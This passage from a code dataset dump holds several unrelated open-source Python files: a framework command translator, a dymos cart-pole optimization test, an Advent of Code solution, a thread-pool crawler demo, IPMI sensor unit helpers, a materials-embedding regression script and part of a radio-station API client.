name to lower case and keep only alphabets\n\n :param name: function name to normalize\n :type name: str\n\n :return: returns a string converted to lowercase keeping only alphabets\n :rtype: str\n \"\"\"\n alpha = re.compile(\"[^a-zA-Z]\")\n return alpha.sub(\"\", name).lower()\n\n def _order_args(\n self, cmd: Command, from_info: dict, to_info: dict\n ) -> Tuple[list, dict]:\n \"\"\"Extracts and orders the args and kwargs according to translated command\n\n :param cmd: command to be translated\n :type cmd: Command\n :param from_info: Dictionary of info for the command for the `from` framework\n :type from_info: dict\n :param to_info: Dictionary of info for the command for the `to` framework\n :type to_info: dict\n\n :return: Returns ordered - args and kwargs\n :rtype: Tuple[list, dict]\n \"\"\"\n new_args = []\n new_kwargs = {}\n\n def get_to_arg_index(from_arg):\n \"\"\"Returns index for the original argument in the translated command arguments list\n\n :param from_arg: info of ith argument of 'from' framework\n :type from_arg: dict\n\n :return: returns the index of original argument or None\n :rtype: int or None\n \"\"\"\n return next(\n (\n index\n for index, d in enumerate(to_info[\"args\"])\n if d[\"name\"] == from_arg.get(self.to_lang, None)\n ),\n None,\n )\n\n # Loop through the command arguments For eg. Tensors to perform operation to\n for i, arg in enumerate(cmd.args):\n # Extract the info of ith argument of `from` framework\n from_arg = from_info[\"args\"][i]\n # Check if the same name argument is present in `to` framework\n # If yes, get its index\n to_arg_index = get_to_arg_index(from_arg)\n\n # Append arguments which don't have same name between frameworks\n if to_arg_index is None:\n new_args.append(arg)\n continue\n\n # Append arguments with same names at the proper position of the `to` framework\n new_args.insert(to_arg_index, arg)\n\n # Add static args, if any\n for from_arg in from_info[\"args\"]:\n if \"value\" in from_arg:\n to_arg_index = get_to_arg_index(from_arg)\n if to_arg_index is not None:\n new_args.insert(to_arg_index, from_arg[\"value\"])\n\n # If any kwargs are normal args, splice them in as well\n for k, v in cmd.kwargs.items():\n # Map kwargs similarly if provided\n from_arg = [a for a in from_info[\"args\"] if a[\"name\"] == k][0]\n to_arg_index = next(\n (\n index\n for index, d in enumerate(to_info[\"args\"])\n if d[\"name\"] == from_arg.get(self.to_lang, {})\n ),\n None,\n )\n\n if to_arg_index is None:\n new_kwargs[k] = v\n continue\n\n new_args.insert(to_arg_index, v)\n\n return new_args, new_kwargs\n\n def translate_multi(self, orig_cmd, commands_info):\n \"\"\"Translates command which has multiple translated chained commands\n\n :param orig_cmd: command to be translated\n :type orig_cmd: Command\n :param commands_info: chained commmands with info\n :type commands_info: list\n\n :return: Returns translated commands\n :rtype: list\n \"\"\"\n cmd_config = commands_info.pop(0)\n store = {}\n for i, arg in enumerate(orig_cmd.args):\n # Store the command arguments\n cmd_config[\"args\"][i][\"value\"] = arg\n store[cmd_config[\"args\"][i][\"name\"]] = arg\n\n new_cmds = [cmd_config]\n for from_info in commands_info:\n # Creates a command given info and arguments with values\n cmd = cmd_from_info(from_info, store)\n\n # Get the info of the command for the framework we want to convert to with the new alias of the command\n to_info = self.commands[self.to_lang][\n self._normalize_func_name(from_info.get(self.to_lang))\n ][0]\n\n new_cmds.append(self.translate_command(cmd, from_info, to_info))\n return new_cmds\n\n def translate_command(self, cmd, from_command, to_command):\n \"\"\"Translates a Command Object after knowing it exists in both frameworks\n\n :param cmd: command to be translated\n :type cmd: Command\n :param from_command: Dictionary of info for the command for the `from` framework\n :type from_command: dict\n :param to_command: Dictionary of info for the command for the `to` framework\n :type to_command: dict\n\n :return: returns a list of translated commands\n :rtype: list\n \"\"\"\n\n translated_cmd = None\n # Extracts and orders the args and kwargs according to translated command\n args, kwargs = self._order_args(cmd, from_command, to_command)\n output = from_command.get(\"placeholder_output\", None)\n # Return a new Command object created after translation with ordered args and kwargs\n return Command(\n to_command[\"name\"],\n args,\n kwargs,\n attrs=to_command[\"attrs\"],\n placeholder_output=output,\n exec_fn=translated_cmd,\n )\n\n def translate(self, cmd: Command) -> List[Command]:\n \"\"\"Translates a Command Object\n\n :param cmd: command to be translated\n :type cmd: Command\n\n :return: returns a list of translated command/s\n :rtype: list\n \"\"\"\n\n # Normalize the function name\n normalized_func_name = self._normalize_func_name(cmd.function_name)\n # Get the info of the command from the framework to be translated from\n from_info = self.commands[self.from_lang].get(normalized_func_name)\n # Throw Exception if the command does not exist in the framework to be translated from\n if from_info is None:\n raise TranslationMissing(cmd.function_name)\n # Check if translated command has multiple chained commands\n if len(from_info) > 1:\n return self.translate_multi(cmd, from_info)\n\n # Extract the info since there is only one command\n from_info = from_info[0]\n\n # Check if the alias of the command exists in the framework to translate to\n if from_info.get(self.to_lang, None) is None:\n raise TranslationMissing(cmd.function_name)\n\n # Get the info of the command for the framework we want to convert to with the new alias of the command\n to_info = self.commands[self.to_lang][\n self._normalize_func_name(from_info.get(self.to_lang))\n ]\n\n return [self.translate_command(cmd, from_info, to_info[0])]\n","repo_name":"OpenMined/Threepio","sub_path":"pythreepio/pythreepio/threepio.py","file_name":"threepio.py","file_ext":"py","file_size_in_byte":8121,"program_lang":"python","lang":"en","doc_type":"code","stars":57,"dataset":"github-code","pt":"53"}
+{"seq_id":"9345284550","text":"import unittest\n\nimport numpy as np\n\nimport openmdao.api as om\nfrom openmdao.utils.assert_utils import assert_near_equal\nfrom openmdao.utils.testing_utils import use_tempdirs, require_pyoptsparse\n\nimport dymos as dm\nfrom dymos.examples.cart_pole.cartpole_dynamics import CartPoleDynamics\n\n\n@use_tempdirs\nclass TestCartPoleOptimization(unittest.TestCase):\n @require_pyoptsparse(optimizer=\"SNOPT\")\n def test_optimization(self):\n\n p = om.Problem()\n\n # --- instantiate trajectory and phase, setup transcription ---\n traj = dm.Trajectory()\n p.model.add_subsystem(\"traj\", traj)\n phase = dm.Phase(\n transcription=dm.GaussLobatto(num_segments=40, order=3, compressed=True, solve_segments=False),\n ode_class=CartPoleDynamics,\n )\n # NOTE: set solve_segments=True to do solver-based shooting\n traj.add_phase(\"phase\", phase)\n\n # --- set state and control variables ---\n phase.set_time_options(fix_initial=True, fix_duration=True, duration_val=2.0, units=\"s\")\n # declare state variables. You can also set lower/upper bounds and scalings here.\n phase.add_state(\"x\", fix_initial=True, lower=-2, upper=2, rate_source=\"x_dot\", shape=(1,), ref=1, defect_ref=1, units=\"m\")\n phase.add_state(\"x_dot\", fix_initial=True, rate_source=\"x_dotdot\", shape=(1,), ref=1, defect_ref=1, units=\"m/s\")\n phase.add_state(\"theta\", fix_initial=True, rate_source=\"theta_dot\", shape=(1,), ref=1, defect_ref=1, units=\"rad\")\n phase.add_state(\"theta_dot\", fix_initial=True, rate_source=\"theta_dotdot\", shape=(1,), ref=1, defect_ref=1, units=\"rad/s\")\n phase.add_state(\n \"energy\", fix_initial=True, rate_source=\"e_dot\", shape=(1,), ref=1, defect_ref=1, units=\"N**2*s\"\n ) # integration of force**2. This does not have the energy unit, but I call it \"energy\" anyway.\n\n # declare control inputs\n phase.add_control(\"f\", fix_initial=False, rate_continuity=False, lower=-20, upper=20, shape=(1,), ref=0.01, units=\"N\")\n\n # add cart-pole parameters (set static_target=True because these params are not time-depencent)\n phase.add_parameter(\"m_cart\", val=1.0, units=\"kg\", static_target=True)\n phase.add_parameter(\"m_pole\", val=0.3, units=\"kg\", static_target=True)\n phase.add_parameter(\"l_pole\", val=0.5, units=\"m\", static_target=True)\n\n # --- set terminal constraint ---\n # alternatively, you can impose those by setting `fix_final=True` in phase.add_state()\n phase.add_boundary_constraint(\"x\", loc=\"final\", equals=1, ref=1.0, units=\"m\") # final horizontal displacement\n phase.add_boundary_constraint(\"theta\", loc=\"final\", equals=np.pi, ref=1.0, units=\"rad\") # final pole angle\n phase.add_boundary_constraint(\"x_dot\", loc=\"final\", equals=0, ref=1.0, units=\"m/s\") # 0 velocity at the and\n phase.add_boundary_constraint(\"theta_dot\", loc=\"final\", equals=0, ref=1.0, units=\"rad/s\") # 0 angular velocity at the end\n phase.add_boundary_constraint(\"f\", loc=\"final\", equals=0, ref=1.0, units=\"N\") # 0 force at the end\n\n # --- set objective function ---\n # we minimize the integral of force**2.\n phase.add_objective(\"energy\", loc=\"final\", ref=1.0)\n\n # --- configure optimizer ---\n p.driver = om.pyOptSparseDriver()\n p.driver.options[\"optimizer\"] = \"IPOPT\"\n # IPOPT options\n p.driver.opt_settings['mu_init'] = 1e-1\n p.driver.opt_settings['max_iter'] = 600\n p.driver.opt_settings['constr_viol_tol'] = 1e-6\n p.driver.opt_settings['compl_inf_tol'] = 1e-6\n p.driver.opt_settings['tol'] = 1e-5\n p.driver.opt_settings['print_level'] = 0\n p.driver.opt_settings['nlp_scaling_method'] = 'gradient-based'\n p.driver.opt_settings['alpha_for_y'] = 'safer-min-dual-infeas'\n p.driver.opt_settings['mu_strategy'] = 'monotone'\n p.driver.opt_settings['bound_mult_init_method'] = 'mu-based'\n p.driver.options['print_results'] = False\n\n # declare total derivative coloring to accelerate the UDE linear solves\n p.driver.declare_coloring()\n\n p.setup(check=False)\n\n # --- set initial guess ---\n # The initial condition of cart-pole (i.e., state values at time 0) is set here\n # because we set `fix_initial=True` when declaring the states.\n p.set_val(\"traj.phase.t_initial\", 0.0) # set initial time to 0.\n p.set_val(\"traj.phase.states:x\", phase.interp(xs=[0, 1, 2], ys=[0, 1, 1], nodes=\"state_input\"), units=\"m\")\n p.set_val(\"traj.phase.states:x_dot\", phase.interp(xs=[0, 1, 2], ys=[0, 0.1, 0], nodes=\"state_input\"), units=\"m/s\")\n p.set_val(\"traj.phase.states:theta\", phase.interp(xs=[0, 1, 2], ys=[0, np.pi/2, np.pi], nodes=\"state_input\"), units=\"rad\")\n p.set_val(\"traj.phase.states:theta_dot\", phase.interp(xs=[0, 1, 2], ys=[0, 1, 0], nodes=\"state_input\"), units=\"rad/s\")\n p.set_val(\"traj.phase.states:energy\", phase.interp(xs=[0, 1, 2], ys=[0, 30, 60], nodes=\"state_input\"))\n p.set_val(\"traj.phase.controls:f\", phase.interp(xs=[0, 1, 2], ys=[3, -1, 0], nodes=\"control_input\"), units=\"N\")\n\n # --- run optimization ---\n dm.run_problem(p, run_driver=True, simulate=False, simulate_kwargs={\"method\": \"Radau\", \"times_per_seg\": 10})\n\n # --- check outputs ---\n # objective value\n obj = p.get_val(\"traj.phase.states:energy\", units=\"N**2*s\")[-1]\n assert_near_equal(obj, 58.8839489745, tolerance=1e-3)\n\n\nif __name__ == \"___main__\":\n unittest.main()\n","repo_name":"OpenMDAO/dymos","sub_path":"dymos/examples/cart_pole/test/test_cartpole_opt.py","file_name":"test_cartpole_opt.py","file_ext":"py","file_size_in_byte":5570,"program_lang":"python","lang":"en","doc_type":"code","stars":165,"dataset":"github-code","pt":"53"}
+{"seq_id":"1591784677","text":"# AOC 2015 - Day 15\n\nimport time\n\nIN_FILE = \"AOC2015\\\\201515.txt\"\n# IN_FILE = \"AOC2015\\\\201515.sample.txt\"\n\ndef parse():\n with open(IN_FILE) as f:\n out = [line for line in f.read().split('\\n')]\n\n # Sprinkles: capacity 5, durability -1, flavor 0, texture 0, calories 5\n ingredients = []\n for x in out:\n ingr, a = x.split(':')\n _,cap,_,dur,_,fla,_,tex,_,cal = a.strip().split(' ')\n ingredients.append(list([ingr,int(cap.strip(',')),int(dur.strip(',')),int(fla.strip(',')),int(tex.strip(',')),int(cal)]))\n\n return ingredients\n\n\ndef part(ingredients): # -> part1: 13882464, part2: 11171160\n imax = 0\n imax500 = 0\n\n for a in range(1,100):\n for b in range(1,100):\n for c in range(1,100):\n for d in range(1,100):\n if a + b + c + d == 100:\n cap = (a * ingredients[0][1]) + (b * ingredients[1][1]) + (c * ingredients[2][1]) + (d * ingredients[3][1])\n dur = (a * ingredients[0][2]) + (b * ingredients[1][2]) + (c * ingredients[2][2]) + (d * ingredients[3][2])\n fla = (a * ingredients[0][3]) + (b * ingredients[1][3]) + (c * ingredients[2][3]) + (d * ingredients[3][3])\n tex = (a * ingredients[0][4]) + (b * ingredients[1][4]) + (c * ingredients[2][4]) + (d * ingredients[3][4])\n cal = (a * ingredients[0][5]) + (b * ingredients[1][5]) + (c * ingredients[2][5]) + (d * ingredients[3][5])\n if cap < 0: cap = 0\n if dur < 0: dur = 0\n if fla < 0: fla = 0\n if tex < 0: tex = 0\n total = cap * dur * fla * tex\n imax = max([imax,total])\n if cal == 500:\n imax500 = max([imax500,total])\n \n return imax,imax500\n\n\nif __name__ == \"__main__\":\n timestart = time.time()\n \n puzzle_input = parse()\n p1,p2 = part(puzzle_input)\n\n print(\"part 1:\",p1)\n print(\"part 2:\",p2)\n \n timeend = time.time()\n print(\"Execution time: \", \"{:.7f}\".format(round(timeend-timestart,7)))\n\n","repo_name":"n7tms/AOC","sub_path":"AOC2015/201515.py","file_name":"201515.py","file_ext":"py","file_size_in_byte":2182,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"33016369948","text":"# -*- coding= utf-8 -*-\n# @Time : 2021-04-27 10:51\n# @Author : baoguo\n# @File : Day16-异步爬虫.py\n# @Software : PyCharm\nfrom multiprocessing.dummy import Pool\nimport time\n\nstart_time = time.time()\n\n\ndef get_page(str):\n print(\"正在下载: \", str)\n time.sleep(2)\n print(\"下载成功 \", str)\n\n\nname_list = [\"zbg\", 'xg', 'dc', 'zh']\n\n# 实例化线程池对象\npool = Pool(4)\n# 将列表中每一个列表元素传递给get_page进行处理\npool.map(get_page, name_list)\n\n# for i in range(len(name_list)):\n# get_page(name_list[i])\n\nend_time = time.time()\n\nprint('%d seconde' % (end_time - start_time))\n\n","repo_name":"S180231891/PaChong","sub_path":"Day16-异步爬虫.py","file_name":"Day16-异步爬虫.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"73569319527","text":"#!/usr/bin/env python\nfrom math import floor, log10\n\n\n_units2_table = [\n \"\", \"C\", \"F\", \"K\", \"V\", \"A\", \"W\", \"J\", \"Coulombs\", \"VA\",\n \"Nits\", \"lumen\", \"lux\", \"Candela\", \"kPa\", \"PSI\", \"N\", \"CFM\", \"RPM\", \"Hz\",\n \"microsecond\", \"millisecond\", \"sec\", \"min\", \"hour\", \"day\", \"week\", \"mil\",\n \"inch\", \"ft\", \"cu in\", \"cu feet\", \"mm\", \"cm\", \"m\", \"cu cm\", \"cu m\", \"l\",\n \"fluid ounce\", \"radians\", \"steradians\", \"rev\", \"hz\", \"gravities\", \"ounce\",\n \"pound\", \"ft-lb\", \"oz-in\", \"gauss\", \"gilberts\", \"henry\", \"millihenry\",\n \"farad\", \"microfarad\", \"ohms\", \"siemens\", \"mole\", \"becquerel\",\n \"PPM (parts/million)\", \"reserved\", \"Decibels\", \"DbA\", \"DbC\", \"gray\",\n \"sievert\", \"color K\", \"bit\", \"Kb\", \"Mb\", \"Gb\", \"B\", \"KB\", \"MB\", \"gigabyte\",\n \"word\", \"dword\", \"qword\", \"line\", \"hit\", \"miss\", \"retry\", \"reset\",\n \"overrun / overflow\", \"underrun\", \"collision\", \"packets\", \"msgs\",\n \"characters\", \"error\", \"correctable error\", \"uncorrectable error\",\n \"fatal error\", \"grams\"\n]\n\n_units1_rate_table = [\"\", \"uS\", \"mS\", \"s\", \"min\", \"hr\", \"day\", \"\"]\n_units1_mod_table = [\"\", \"/\", \"*\", \"\"]\n\nhs_states2string = {\n 0x80: \"Con lost\",\n 0x40: \"Deactivating\",\n 0x20: \"Deact Req\",\n 0x10: \"Active\",\n 0x08: \"Activating\",\n 0x04: \"Act Req\",\n 0x02: \"Inactive\",\n 0x01: \"N/A\"\n}\n\nthreshold_offsets_msg = [\n \"Lower Non-critical - going low\",\n \"Lower Non-critical - going high\",\n \"Lower Critical - going low\",\n \"Lower Critical - going high\",\n \"Lower Non-recoverable - going low\",\n \"Lower Non-recoverable - going high\",\n \"Upper Non-critical - going low\",\n \"Upper Non-critical - going high\",\n \"Upper Critical - going low\",\n \"Upper Critical - going high\",\n \"Upper Non-recoverable - going low\",\n \"Upper Non-recoverable - going high\",\n \"Unknown\",\n \"Unknown\",\n \"Unknown\",\n \"Unknown\",\n]\n\n\ndef get_sdr_egu(entry):\n unit1 = entry.units_1\n unit2 = entry.units_2\n rate_part = (unit1 >> 3) & 0x7\n mod_part = (unit1 >> 1) & 0x3\n percentage = '% ' if unit1 & 0x1 else ''\n base_unit = _units2_table[unit2]\n mod_unit = _units1_mod_table[mod_part]\n rate_unit = _units1_rate_table[rate_part]\n return (percentage + base_unit\n + ((mod_unit + rate_unit) if rate_unit else \"\")).strip()\n\n\ndef get_sdr_prec(entry):\n delta = entry.convert_sensor_raw_to_value(0) - \\\n entry.convert_sensor_raw_to_value(1)\n offset = entry.convert_sensor_raw_to_value(0)\n delta_frac = delta % 1\n offset_frac = offset % 1\n prec = 0\n if delta_frac != 0.0:\n prec = int(max(prec, -floor(log10(abs(delta_frac)))))\n\n if offset_frac != 0.0:\n prec = int(max(prec, -floor(log10(abs(offset_frac)))))\n\n return prec","repo_name":"EmilioPeJu/epicsmonmtca","sub_path":"epicsmonmtca/ipmiutils.py","file_name":"ipmiutils.py","file_ext":"py","file_size_in_byte":2726,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"3188824229","text":"import numpy as np\nimport pandas as pd\nfrom utils import RandomVectors, OneHotVectors\nfrom grave import FactorizationMachine\nfrom sklearn.linear_model import LinearRegression\nfrom glove import Glove\nfrom sklearn.neural_network import MLPRegressor\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.model_selection import cross_validate\n\n\"\"\"\nBOREP: Bag of Random Embedding Projections\n\nInstead of pooling the atom vectors themselves, we'll initialize a projection matrix to compute the compound embedding:\n\nh = f(W*e)\n\nwhere h is the compound embedding, f is a pooling function, W is the projection matrix, and e is the atom vector.\n\nSee: Wieting, J., & Kiela, D. (2019). No training required: Exploring random encoders for sentence classification. \n arXiv preprint arXiv:1901.10444.\n\"\"\"\n\nif __name__ == '__main__':\n\n # model = FactorizationMachine.load_model(\"../out/all_stable_bandgap_dim20.fm.ctx10_add_cont.model\")\n # embeddings = model.W\n # converter = lambda x: x\n # dim = 20\n\n # model = RandomVectors.load(\"../out/all_stable_bandgap_dim20.random.model\")\n # embeddings = model.vectors\n # converter = lambda x: x\n # dim = 20\n\n # model = Glove.load(\"../out/all_stable_bandgap_dim20.glove.model\")\n # embeddings = model.word_vectors\n # converter = lambda x: x.lower()\n # dim = 20\n\n model = OneHotVectors.load(\"../out/all_stable_bandgap_dim20.one_hot.model\")\n embeddings = model.vectors\n converter = lambda x: x\n dim = 89\n\n df = pd.read_pickle(\"../out/all_stable_bandgap.pkl\")\n\n # regression, args = LinearRegression, {}\n regression, args = RandomForestRegressor, {\"n_estimators\": 100, \"n_jobs\": 4}\n # regression, args = MLPRegressor, {\"hidden_layer_sizes\": (100,), \"max_iter\": 500}\n\n # pool = np.mean\n pool = np.max\n\n exclude_zero = False\n # exclude_zero = True\n\n borep_dim = 200\n\n W = np.random.uniform(low=-1/np.sqrt(dim), high=1/np.sqrt(dim), size=(borep_dim, dim))\n\n X = []\n y = []\n for i in range(len(df['structure'])):\n struct = df['structure'][i]\n band_gap = df['band_gap'][i]\n\n if band_gap == 0.0 and exclude_zero:\n continue\n\n vectors = []\n for element in struct.species:\n atom_vector = np.array(embeddings[model.dictionary[converter(element.name)]])\n vectors.append(np.dot(W, atom_vector))\n X.append(pool(vectors, axis=0))\n y.append(band_gap)\n\n cv_results = cross_validate(regression(**args), X, y, cv=10, return_estimator=True,\n scoring=('r2', 'neg_root_mean_squared_error'))\n # the r2 score is the coefficient of determination, R^2, of the prediction\n print(cv_results['test_r2'])\n print(cv_results['test_neg_root_mean_squared_error'])\n\n print(\"mean fold r2 score: %s\" % np.mean(cv_results['test_r2']))\n print(\"std fold r2 score: %s\" % np.std(cv_results['test_r2']))\n print(\"mean fold neg_root_mean_squared_error score: %s\" % np.mean(cv_results['test_neg_root_mean_squared_error']))\n print(\"std fold neg_root_mean_squared_error score: %s\" % np.std(cv_results['test_neg_root_mean_squared_error']))\n","repo_name":"lantunes/materials-sandbox","sub_path":"scripts/regression_borep.py","file_name":"regression_borep.py","file_ext":"py","file_size_in_byte":3150,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"803810943","text":"import requests\n\nfrom pyradios.base_url import pick_base_url\nfrom pyradios.utils import type_check\n\n\nclass Request:\n def __init__(self, fmt, session=None, **kwargs):\n self._session = self._init_session(session)\n\n self._fmt = fmt\n\n if \"base_url\" in kwargs: # for tests with the responses lib\n self.base_url = kwargs.get(\"base_url\")\n else:\n self.base_url = pick_base_url()\n\n def _init_session(self, session):\n if session is None:\n return requests.Session()\n return session\n\n def get(self, endpoint, **kwargs):\n\n if \"fmt\" in kwargs:\n self._fmt = kwargs.get(\"fmt\")\n endpoint = self._fmt + \"/\" + endpoint.split(\"/\", 1)[1]\n del kwargs[\"fmt\"]\n\n if self._fmt == \"xml\":\n content_type = \"application/{}\".format(self._fmt)\n else:\n content_type = \"application/{}\".format(self._fmt)\n\n headers = {\"content-type\": content_type, \"User-Agent\": \"pyradios/dev\"}\n\n url = self.base_url + endpoint\n\n resp = self._session.get(url, headers=headers, params=kwargs)\n\n if resp.status_code == 200:\n if self._fmt == \"xml\":\n # return resp.text\n return resp.content\n return resp.json()\n\n return resp.raise_for_status()\n\n\nclass RadioBrowser:\n \"\"\"This class implements the main interface for the Radio Browser API.\n\n Args:\n session (obj, optional): The `requests_cache.CachedSession` instance.\n\n Examples:\n To create an instance of the RadioBrowser class with cached session\n\n >>> from pyradios import RadioBrowser\n >>> from requests_cache import CachedSession\n >>> import datetime\n >>> from datetime import timedelta\n >>> expire_after = timedelta(days=3)\n >>> session = CachedSession(\n ... cache_name='cache',\n ... backend='sqlite',\n ... expire_after=expire_after)\n >>> rb = RadioBrowser(session=session)\n >>> rb.countries()\n\n No cahce\n\n >>> import pyradios\n >>> rb = pyradios.RadioBrowser()\n >>> rb.countries()\n\n Note:\n Run `pip install requests_cache` to use cached session.\n\n \"\"\"\n\n def __init__(self, fmt=\"json\", session=None, **kwargs):\n\n self._fmt = fmt\n self.client = Request(self._fmt, session, **kwargs)\n\n @type_check\n def countries(self, code=None):\n \"\"\"Lists all countries.\n\n Args:\n code (str, optional): Filter by country code. Defaults to None.\n\n Returns:\n list: Countries.\n\n See details:\n https://de1.api.radio-browser.info/#List_of_countries\n \"\"\"\n\n if code:\n endpoint = \"{fmt}/countrycodes/{code}\".format(\n fmt=self._fmt, code=code\n )\n else:\n endpoint = \"{fmt}/countrycodes/\".format(fmt=self._fmt)\n return self.client.get(endpoint)\n\n @type_check\n def countrycodes(self, code=None):\n \"\"\"Lists all countries.\n\n Args:\n code (str, optional): Filter by country code. Defaults to None.\n\n Returns:\n list: Countries.\n\n See details:\n https://de1.api.radio-browser.info/#List_of_countrycodes\n \"\"\"\n\n if code:\n endpoint = \"{fmt}/countrycodes/{code}\".format(\n fmt=self._fmt, code=code\n )\n else:\n endpoint = \"{fmt}/countrycodes/\".format(fmt=self._fmt)\n return self.client.get(endpoint)\n\n @type_check\n def codecs(self, codec=None):\n \"\"\"Lists all codecs.\n\n Args:\n codec (str, optional): Filter by codec. Defaults to None.\n\n Returns:\n list: Codecs.\n\n See details:\n https://de1.api.radio-browser.info/#List_of_codecs\n \"\"\"\n\n endpoint = \"{fmt}/codecs/\".format(fmt=self._fmt)\n\n if codec:\n response = self.client.get(endpoint)\n return list(\n filter(\n lambda _codecs: _codecs[\"name\"].lower() == codec.lower(),\n response,\n )\n )\n\n return self.client.get(endpoint)\n\n @type_check\n def states(self, country=None, state=None):\n \"\"\"Lists all states.\n\n Args:\n country (str, optional): Filter by country. Defaults to None.\n state (str, optionla): Filter by state. Defaults to None.\n\n Returns:\n list: States.\n\n See details:\n https://de1.api.radio-browser.info/#List_of_states\n \"\"\"\n\n endpoint = \"{fmt}/states\".format(fmt=self._fmt)\n\n if country and state:\n\n response = self.client.get(endpoint)\n return list(\n filter(\n lambda _state: _state[\"country\"].lower() == country.lower()\n and _state[\"name\"].lower() == state.lower(),\n response,\n )\n )\n\n if country:\n response = self.client.get(endpoint)\n return list(\n filter(\n lambda _state: _state[\"country\"].lower()\n == country.lower(),\n response,\n )\n )\n if state:\n response = self.client.get(endpoint)\n return list(\n filter(\n lambda _state: _state[\"name\"].lower() == state.lower(),\n response,\n )\n )\n return self.client.get(endpoint)\n\n @type_check\n def languages(self, language=None):\n \"\"\"Lists all languages.\n\n Args:\n language (str, optional): Filter by language. Defaults to None.\n\n Returns:\n list: Languages.\n\n See details:\n https://de1.api.radio-browser.info/#List_of_languages\n \"\"\"\n if language:\n endpoint = \"{fmt}/languages/{language}\".format(\n fmt=self._fmt, language=language\n )\n else:\n endpoint = \"{fmt}/languages/\".format(fmt=self._fmt)\n\n return self.client.get(endpoint)\n\n @type_check\n def tags(self, tag=None):\n \"\"\"Lists all tags.\n\n Args:\n tag (str, optional): Filter by tag. Defaults to None.\n\n Returns:\n list: Tags.\n\n See details:\n https://de1.api.radio-browser.info/#List_of_tags\n \"\"\"\n\n if tag:\n endpoint = \"{fmt}/tags/{tag}\".format(fmt=self._fmt, tag=tag)\n else:\n endpoint = \"{fmt}/tags/\".format(fmt=self._fmt)\n\n return self.client.get(endpoint)\n\n def station_by_uuid(self, stationuuid):\n \"\"\"Radio station by stationuuid.\n\n Args:\n stationuuid (str): A globally unique identifier for the station.\n\n Returns:\n list: Stations.\n\n See details:\n https://de1.api.radio-browser.info/#List_of_radio_stations\n \"\"\"\n endpoint = \"{fmt}/stations/byuuid/{uuid}\".format(\n fmt=self._fmt, uuid=stationuuid\n )\n return self.client.get(endpoint)\n\n def stations_by_name(self, name, exact=False, **kwargs):\n \"\"\"Lists all radio stations by name.\n\n Args:\n name (str): The name of the station.\n reverse (bool): Reverse the result list if set to True.\n\n Returns:\n list: Stations.\n\n See details:\n https://de1.api.radio-browser.info/#List_of_radio_stations\n \"\"\"\n kwargs.update({\"name\": name, \"name_exact\": exact})\n return self.search(**kwargs)\n\n def stations_by_codec(self, codec, exact=False, **kwargs):\n \"\"\"Lists all radio stations by codec.\n\n Args:\n codec (str): The name of the codec.\n\n Returns:\n list: Stations.\n\n See details:\n https://de1.api.radio-browser.info/#List_of_radio_stations\n \"\"\"\n kwargs.update({\"code\": codec, \"codec_exact\": exact})\n return self.search(**kwargs)\n\n def stations_by_country(self, country, exact=False, **kwargs):\n \"\"\"Lists all radio stations by country.\n\n Args:\n country (str): The name of the country.\n\n Returns:\n list: Stations.\n\n See details:\n https://de1.api.radio-browser.info/#List_of_radio_stations\n \"\"\"\n kwargs.update({\"country\": country, \"country_exact\": exact})\n return self.search(**kwargs)\n\n def stations_by_countrycode(self, code, **kwargs):\n \"\"\"Lists all radio stations by country code.\n\n Args:\n code (str): Official countrycodes as in ISO 3166-1 alpha-2.\n\n Returns:\n list: Stations.\n\n See details:\n https://de1.api.radio-browser.info/#List_of_radio_stations\n \"\"\"\n kwargs.update({\"countrycode\": code})\n return self.search(**kwargs)\n\n def stations_by_state(self, state, exact=False, **kwargs):\n \"\"\"Lists all radio stations by state.\n\n Args:\n state (str): The name of the state.\n\n Returns:\n list: Stations.\n\n See details:\n https://de1.api.radio-browser.info/#List_of_radio_stations\n \"\"\"\n kwargs.update({\"state\": state, \"state_exact\": exact})\n return self.search(**kwargs)\n\n def stations_by_language(self, language, exact=False, **kwargs):\n \"\"\"Lists all radio stations by language.\n\n Args:\n language (str): The name of the language.\n\n Returns:\n list: Stations.\n\n See details:\n https://de1.api.radio-browser.info/#List_of_radio_stations\n \"\"\"\n kwargs.update({\"language\": language, \"language_exact\": exact})\n return self.search(**kwargs)\n\n def stations_by_tag(self, tag, exact=False, **kwargs):\n \"\"\"Lists all radio stations by tag.\n\n Args:\n tag (str): The name of the tag.\n\n Returns:\n list: Stations.\n See details:\n https://de1.api.radio-browser.info/#List_of_radio_stations\n \"\"\"\n kwargs.update({\"tag\": tag, \"tag_exact\": exact})\n return self.search(**kwargs)\n\n def click_counter(self, stationuuid):\n \"\"\"Increase the click count of a station by one.\n\n This should be called everytime when a user starts\n playing a stream to mark the stream more popular than others.\n Every call to this endpoint from the same IP address and for\n the same station only gets counted once per day. The call will\n return detailed information about the stream, supported output\n formats: JSON\n\n Args:\n stationuuid (str): A globally unique identifier for the station.\n\n Returns:\n dict: A dict containing informations about the radio station.\n\n See details:\n https://de1.api.radio-browser.info/#Count_station_click\n \"\"\"\n endpoint = \"{fmt}/url/{uuid}\".format(fmt=self._fmt, uuid=stationuuid)\n\n return self.client.get(endpoint)\n\n def stations(self, **kwargs):\n \"\"\"Lists all radio stations.\n\n Returns:\n list: Stations.\n\n See details:\n https://nl1.api.radio-browser.info/#List_of_all_radio_stations\n \"\"\"\n endpoint = \"{fmt}/stations\".format(fmt=self._fmt)\n return self.client.get(endpoint, **kwargs)\n\n @type_check\n def search(self, **kwargs):\n \"\"\"Advanced search.\n\n It will search for the station whose attribute\n contains the search term.\n\n Args:\n name (str, optional): Name of the station.\n name_exact (bool, optional): Only exact matches, otherwise all\n matches (default: False).\n country (str, optional): Country of the station.\n country_exact (bool, optional): Only exact matches, otherwise\n all matches (default: False).\n countrycode (str, optional): 2-digit countrycode of the station\n (see ISO 3166-1 alpha-2)\n state (str, optional): State of the station.\n state_exact (bool, optional): Only exact matches, otherwise all\n matches. (default: False)\n language (str, optional): Language of the station.\n language_exact (bool, optional): Only exact matches, otherwise\n all matches. (default: False)\n tag (str, optional): Tag of the station.\n tag_exact (bool, optional): Only exact matches, otherwise all\n matches. (default: False)\n tag_list (str, optional): A comma-separated list of tag.\n bitrate_min (int, optional): Minimum of kbps for bitrate field of\n stations in result. (default: 0)\n bitrate_max (int, optional): Maximum of 